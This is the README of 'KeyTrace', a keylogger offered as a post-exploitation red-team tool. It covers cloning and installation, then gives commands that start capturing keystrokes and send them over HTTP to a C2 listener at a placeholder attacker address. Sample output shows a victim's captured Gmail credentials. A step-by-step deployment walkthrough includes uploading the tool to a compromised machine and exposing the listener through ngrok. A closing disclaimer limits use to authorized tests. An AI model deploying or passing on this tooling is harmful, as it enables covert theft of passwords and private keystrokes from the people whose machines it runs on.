Post-exploitation keylogger for authorized red team engagements and penetration testing demonstrations.
KeyTrace captures keystrokes on a compromised machine and exfiltrates them to a remote listener. Built to demonstrate post-exploitation impact during authorized penetration tests.
- Keystroke capture with active window tracking
- Timestamps per session block
- Local file logging
- HTTP exfiltration to remote C2 listener
- Multi-session listener with per-host log files
- System metadata collection (hostname, user, IP, OS)
- Cross-platform: Windows / Linux / macOS
git clone https://github.com/DavidJara1998/KeyTrace.git
cd KeyTrace
pip install -r requirements.txtpython keytrace.py listen --port 8080Output:
=== KEYTRACE LISTENER ===
[+] Listening on 0.0.0.0:8080
Logs saved to: ./keytrace_logs/<hostname>_<user>.log
Waiting for connections...
# With C2 exfiltration
python keytrace.py start --server http://YOUR_IP:8080 --interval 30
# Local only (no network)
python keytrace.py start --log captured.log --interval 60# Dump local log
python keytrace.py dump --log captured.log
# Remote logs are saved automatically to:
# ./keytrace_logs/<hostname>_<user>.log=== KEYTRACE LISTENER ===
[+] Listening on 0.0.0.0:8080
[+] NEW SESSION: DESKTOP-ABC123 | user: john | ip: 192.168.1.105
14:23:01 DESKTOP-ABC123 (john) +342 chars → keytrace_logs/DESKTOP-ABC123_john.log
[14:22:45] Window: Chrome - Gmail login ...admin@company.com[TAB]Password123[ENTER]
start Start keylogger on this machine
dump Print contents of local log file
listen Start C2 listener to receive logs from victims
start options:
--log FILE Log file path (default: keytrace.log)
--interval SEC Send interval in seconds (default: 30)
--server URL C2 listener URL
listen options:
--port PORT Listen port (default: 8080)
--host HOST Bind address (default: 0.0.0.0)
1. Gain initial access to target machine
2. Upload keytrace.py + modules/ to target
3. Run: python keytrace.py start --server http://YOUR_IP:8080
4. Keystrokes stream to your listener in real time
5. Document captured credentials in pentest report
For LAN-only scenarios: use your local IP (192.168.x.x)
For internet targets: expose your listener via ngrok: ngrok http 8080
This tool is intended exclusively for authorized penetration testing and red team engagements. You must have explicit written permission from the system owner before deploying this tool. Unauthorized use is illegal under computer fraud laws in most jurisdictions. The author assumes no liability for misuse.
MIT License